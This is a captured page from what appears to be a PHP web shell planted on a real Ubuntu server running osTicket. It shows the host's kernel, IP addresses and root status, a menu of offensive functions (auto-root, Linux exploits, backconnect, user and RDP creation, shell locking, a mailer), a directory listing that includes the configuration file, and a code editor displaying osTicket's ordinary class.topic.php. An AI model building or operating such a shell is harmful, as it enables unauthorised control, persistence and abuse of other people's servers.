Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.topic.php
<?php /********************************************************************* class.topic.php Help topic helper Peter Rotich <peter@osticket.com> Copyright (c) 2006-2013 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ require_once INCLUDE_DIR . 'class.sequence.php'; require_once INCLUDE_DIR . 'class.filter.php'; require_once INCLUDE_DIR . 'class.search.php'; class Topic extends VerySimpleModel implements TemplateVariable, Searchable { static $meta = array( 'table' => TOPIC_TABLE, 'pk' => array('topic_id'), 'ordering' => array('topic'), 'joins' => array( 'parent' => array( 'list' => false, 'constraint' => array( 'topic_pid' => 'Topic.topic_id', ), ), 'faqs' => array( 'list' => true, 'reverse' => 'FaqTopic.topic' ), 'page' => array( 'null' => true, 'constraint' => array( 'page_id' => 'Page.id', ), ), 'dept' => array( 'null' => true, 'constraint' => array( 'dept_id' => 'Dept.id', ), ), 'priority' => array( 'null' => true, 'constraint' => array( 'priority_id' => 'Priority.priority_id', ), ), 'forms' => array( 'reverse' => 'TopicFormModel.topic', 'null' => true, ), ), ); var $_forms; const DISPLAY_DISABLED = 2; const FORM_USE_PARENT = 4294967295; const FLAG_CUSTOM_NUMBERS = 0x0001; const FLAG_ACTIVE = 0x0002; const FLAG_ARCHIVED = 0x0004; const SORT_ALPHA = 'a'; const SORT_MANUAL = 'm'; function asVar() { return $this->getName(); } static function getVarScope() { return array( 'dept' => array( 'class' => 'Dept', 'desc' => __('Department'), ), 'fullname' => __('Help topic full path'), 'name' => __('Help topic'), 'parent' => array( 'class' => 'Topic', 'desc' => __('Parent'), ), 'sla' => array( 'class' => 'SLA', 'desc' => __('Service Level Agreement'), ), ); } static function getSearchableFields() { return array( 'topic' => new TextboxField(array( 'label' => __('Name'), )), ); } static function supportsCustomData() { return false; } function getId() { return $this->topic_id; } function getPid() { return $this->topic_pid; } function getParent() { return $this->parent; } function getName() { return $this->topic; } function getLocalName() { return $this->getLocal('name'); } function getFullName() { return self::getTopicName($this->getId()) ?: $this->topic; } static function getTopicName($id) { $names = static::getHelpTopics(false, true); return is_numeric($id) && isset($names[$id]) ? $names[$id] : ''; } function getDeptId() { return $this->dept_id; } function getDept() { return $this->getDeptId() ? Dept::lookup($this->getDeptId()) : null; } function getSLAId() { return $this->sla_id; } function getPriorityId() { return $this->priority_id; } function getStatusId() { return $this->status_id; } function getStaffId() { return $this->staff_id; } function getTeamId() { return $this->team_id; } function getPageId() { return $this->page_id; } function getPage() { return $this->page; } function getForms() { if (!isset($this->_forms)) { $this->_forms = array(); foreach ($this->forms->select_related('form') as $F) { $extra = JsonDataParser::decode($F->extra) ?: array(); $F->form->disableFields($extra['disable'] ?: array()); $this->_forms[] = $F->form; } } return $this->_forms; } function autoRespond() { return !$this->noautoresp; } function isEnabled() { return $this->isActive(); } function isActive() { return !!($this->flags & self::FLAG_ACTIVE); } function getStatus() { if($this->flags & self::FLAG_ACTIVE) return 'Active'; elseif($this->flags & self::FLAG_ARCHIVED) return 'Archived'; else return 'Disabled'; } function allowsReopen() { return !($this->flags & self::FLAG_ARCHIVED); } function isPublic() { return ($this->ispublic); } function getHashtable() { return $this->ht; } function getInfo() { $base = $this->getHashtable(); $base['custom-numbers'] = $this->hasFlag(self::FLAG_CUSTOM_NUMBERS); $base['status'] = $this->getStatus(); return $base; } function hasFlag($flag) { return $this->flags & $flag != 0; } function getNewTicketNumber() { global $cfg; if (!$this->hasFlag(self::FLAG_CUSTOM_NUMBERS)) return $cfg->getNewTicketNumber(); if ($this->sequence_id) $sequence = Sequence::lookup($this->sequence_id); if (!$sequence) $sequence = new RandomSequence(); return $sequence->next($this->number_format ?: '######', array('Ticket', 'isTicketNumberUnique')); } function getTranslateTag($subtag) { return _H(sprintf('topic.%s.%s', $subtag, $this->getId())); } function getLocal($subtag) { $tag = $this->getTranslateTag($subtag); $T = CustomDataTranslation::translate($tag); return $T != $tag ? $T : $this->ht[$subtag]; } function setSortOrder($i) { if ($i != $this->sort) { $this->sort = $i; return $this->save(); } // Noop return true; } function delete() { global $cfg; if ($this->getId() == $cfg->getDefaultTopicId()) return false; if (parent::delete()) { self::objects()->filter(array( 'topic_pid' => $this->getId() ))->update(array( 'topic_pid' => 0 )); FaqTopic::objects()->filter(array( 'topic_id' => $this->getId() ))->delete(); db_query('UPDATE '.TICKET_TABLE.' SET topic_id=0 WHERE topic_id='.db_input($this->getId())); } return true; } function __toString() { return $this->getFullName(); } /*** Static functions ***/ static function create($vars=array()) { $topic = new static($vars); $topic->created = SqlFunction::NOW(); return $topic; } static function __create($vars, &$errors) { $topic = self::create($vars); if (!isset($vars['dept_id'])) $vars['dept_id'] = 0; $vars['id'] = $vars['topic_id']; $topic->update($vars, $errors); return $topic; } /** * setFlag * * Utility method to set/unset flag bits * */ public function setFlag($flag, $val) { if ($val) $this->flags |= $flag; else $this->flags &= ~$flag; } static function getHelpTopics($publicOnly=false, $disabled=false, $localize=true, $whitelist=array()) { global $cfg; static $topics, $names = array(); // If localization is specifically requested, then rebuild the list. if (!$names || $localize) { $objects = self::objects()->values_flat( 'topic_id', 'topic_pid', 'ispublic', 'flags', 'topic' ) ->order_by('sort'); // Fetch information for all topics, in declared sort order $topics = array(); foreach ($objects as $T) { list($id, $pid, $pub, $flags, $topic) = $T; $display = ($flags & self::FLAG_ACTIVE); $topics[$id] = array('pid'=>$pid, 'public'=>$pub, 'disabled'=>!$display, 'topic'=>$topic); } $localize_this = function($id, $default) use ($localize) { if (!$localize) return $default; $tag = _H("topic.name.{$id}"); $T = CustomDataTranslation::translate($tag); return $T != $tag ? $T : $default; }; // Resolve parent names foreach ($topics as $id=>$info) { $name = $localize_this($id, $info['topic']); $loop = array($id=>true); $parent = false; while (($pid = $info['pid']) && ($info = $topics[$info['pid']])) { $name = sprintf('%s / %s', $localize_this($pid, $info['topic']), $name); if ($parent && $parent['disabled']) // Cascade disabled flag $topics[$id]['disabled'] = true; if (isset($loop[$info['pid']])) break; $loop[$info['pid']] = true; $parent = $info; } $names[$id] = $name; } } // Apply requested filters $requested_names = array(); foreach ($names as $id=>$n) { $info = $topics[$id]; if ($publicOnly && !$info['public']) continue; //if topic is disabled + we're not getting all topics OR topic is not in whitelist if ($info['disabled'] && (!$disabled || ($whitelist && !in_array($id, $whitelist)))) continue; if ($disabled === self::DISPLAY_DISABLED && $info['disabled']) $n .= " - ".__("(disabled)"); $requested_names[$id] = $n; } // If localization requested and the current locale is not the // primary, the list may need to be sorted. Caching is ok here, // because the locale is not going to be changed within a single // request. if ($localize && $cfg->getTopicSortMode() == self::SORT_ALPHA) return Internationalization::sortKeyedList($requested_names); return $requested_names; } static function getPublicHelpTopics() { return self::getHelpTopics(true); } static function getAllHelpTopics($localize=false) { return self::getHelpTopics(false, true, $localize); } static function getLocalNameById($id) { $topics = static::getHelpTopics(false, true); return $topics[$id]; } static function getIdByName($name, $pid=0) { $list = self::objects()->filter(array( 'topic'=>$name, 'topic_pid'=>$pid, ))->values_flat('topic_id')->first(); if ($list) return $list[0]; } function update($vars, &$errors) { global $cfg; $vars['topic'] = Format::striptags(trim($vars['topic'])); if (isset($this->topic_id) && $this->getId() != $vars['id']) $errors['err']=__('Internal error occurred'); if (!$vars['topic']) $errors['topic']=__('Help topic name is required'); elseif (strlen($vars['topic'])<5) $errors['topic']=__('Topic is too short. Five characters minimum'); elseif (($tid=self::getIdByName($vars['topic'], $vars['topic_pid'])) && (!isset($this->topic_id) || $tid!=$this->getId())) $errors['topic']=__('Topic already exists'); $dept = Dept::lookup($vars['dept_id']); if($dept && !$dept->isActive()) $errors['dept_id'] = sprintf(__('%s selected must be active'), __('Department')); if (!is_numeric($vars['dept_id'])) $errors['dept_id']=__('Department selection is required'); if ($vars['custom-numbers'] && !preg_match('`(?!<\\\)#`', $vars['number_format'])) $errors['number_format'] = 'Ticket number format requires at least one hash character (#)'; if ($errors) return false; $vars['noautoresp'] = isset($vars['noautoresp']) ? 1 : 0; foreach ($vars as $key => $value) { if ($key == 'status' && $this->getStatus() && strtolower($this->getStatus()) != $value && $this->topic) { $type = array('type' => 'edited', 'status' => ucfirst($value)); Signal::send('object.edited', $this, $type); } } $this->topic = $vars['topic']; $this->topic_pid = $vars['topic_pid'] ?: 0; $this->dept_id = $vars['dept_id']; $this->priority_id = $vars['priority_id'] ?: 0; $this->status_id = $vars['status_id'] ?: 0; $this->sla_id = $vars['sla_id'] ?: 0; $this->page_id = $vars['page_id'] ?: 0; $this->isactive = $vars['isactive']; $this->ispublic = $vars['ispublic']; $this->sequence_id = $vars['custom-numbers'] ? $vars['sequence_id'] : 0; $this->number_format = $vars['custom-numbers'] ? $vars['number_format'] : ''; $this->flags = $vars['custom-numbers'] ? self::FLAG_CUSTOM_NUMBERS : $this->flags; $this->noautoresp = $vars['noautoresp']; $this->notes = Format::sanitize($vars['notes']); $filter_actions = FilterAction::objects()->filter(array('type' => 'topic', 'configuration' => '{"topic_id":'. $this->getId().'}')); if ($filter_actions && $vars['status'] == 'active') FilterAction::setFilterFlag($filter_actions, 'topic', false); else FilterAction::setFilterFlag($filter_actions, 'topic', true); switch ($vars['status']) { case 'active': $this->setFlag(self::FLAG_ACTIVE, true); $this->setFlag(self::FLAG_ARCHIVED, false); break; case 'disabled': $this->setFlag(self::FLAG_ACTIVE, false); $this->setFlag(self::FLAG_ARCHIVED, false); break; case 'archived': $this->setFlag(self::FLAG_ACTIVE, false); $this->setFlag(self::FLAG_ARCHIVED, true); break; } //Auto assign ID is overloaded... if ($vars['assign'] && $vars['assign'][0] == 's') { $this->team_id = 0; $this->staff_id = preg_replace("/[^0-9]/", "", $vars['assign']); } elseif ($vars['assign'] && $vars['assign'][0] == 't') { $this->staff_id = 0; $this->team_id = preg_replace("/[^0-9]/", "", $vars['assign']); } else { $this->staff_id = 0; $this->team_id = 0; } $rv = false; if ($this->__new__) { if (isset($this->topic_pid) && ($parent = Topic::lookup($this->topic_pid))) { $this->sort = ($parent->sort ?: 0) + 1; } if (!($rv = $this->save())) { $errors['err']=sprintf(__('Unable to create %s.'), __('this help topic')) .' '.__('Internal error occurred'); } } elseif (!($rv = $this->save())) { $errors['err']=sprintf(__('Unable to update %s.'), __('this help topic')) .' '.__('Internal error occurred'); } if ($rv) { if (!$cfg || $cfg->getTopicSortMode() == 'a') { static::updateSortOrder(); } $this->updateForms($vars, $errors); } return $rv; } function updateForms($vars, &$errors) { $find_disabled = function($form) use ($vars) { $fields = $vars['fields']; $disabled = array(); foreach ($form->fields->values_flat('id') as $row) { list($id) = $row; if (false === ($idx = array_search($id, $fields))) { $disabled[] = $id; } } return $disabled; }; // Consider all the forms in the request $current = array(); if (is_array($form_ids = $vars['forms'])) { $forms = TopicFormModel::objects() ->select_related('form') ->filter(array('topic_id' => $this->getId())); foreach ($forms as $F) { if (false !== ($idx = array_search($F->form_id, $form_ids))) { $current[] = $F->form_id; $F->sort = $idx + 1; $F->extra = JsonDataEncoder::encode( array('disable' => $find_disabled($F->form)) ); $F->save(); unset($form_ids[$idx]); } elseif ($F->form->get('type') != 'T') { $F->delete(); } } foreach ($form_ids as $sort=>$id) { if (!($form = DynamicForm::lookup($id))) { continue; } elseif (in_array($id, $current)) { // Don't add a form more than once continue; } $tf = new TopicFormModel(array( 'topic_id' => $this->getId(), 'form_id' => $id, 'sort' => $sort + 1, 'extra' => JsonDataEncoder::encode( array('disable' => $find_disabled($form)) ) )); $tf->save(); } } return true; } function save($refetch=false) { if ($this->dirty) $this->updated = SqlFunction::NOW(); return parent::save($refetch || $this->dirty); } static function updateSortOrder() { global $cfg; // Fetch (un)sorted names if (!($names = static::getHelpTopics(false, true, false))) return; $names = Internationalization::sortKeyedList($names); $update = array_keys($names); foreach ($update as $idx=>&$id) { $id = sprintf("(%s,%s)", db_input($id), db_input($idx+1)); } if (!count($update)) return; // Thanks, http://stackoverflow.com/a/3466 $sql = sprintf('INSERT INTO `%s` (topic_id,`sort`) VALUES %s ON DUPLICATE KEY UPDATE `sort`=VALUES(`sort`)', TOPIC_TABLE, implode(',', $update)); db_query($sql); } } // Add fields from the standard ticket form to the ticket filterable fields Filter::addSupportedMatches(/* @trans */ 'Help Topic', array('topicId' => 'Topic ID'), 100); class TopicFormModel extends VerySimpleModel { static $meta = array( 'table' => TOPIC_FORM_TABLE, 'pk' => array('id'), 'ordering' => array('sort'), 'joins' => array( 'topic' => array( 'constraint' => array('topic_id' => 'Topic.topic_id'), ), 'form' => array( 'constraint' => array('form_id' => 'DynamicForm.id'), ), ), ); }
Close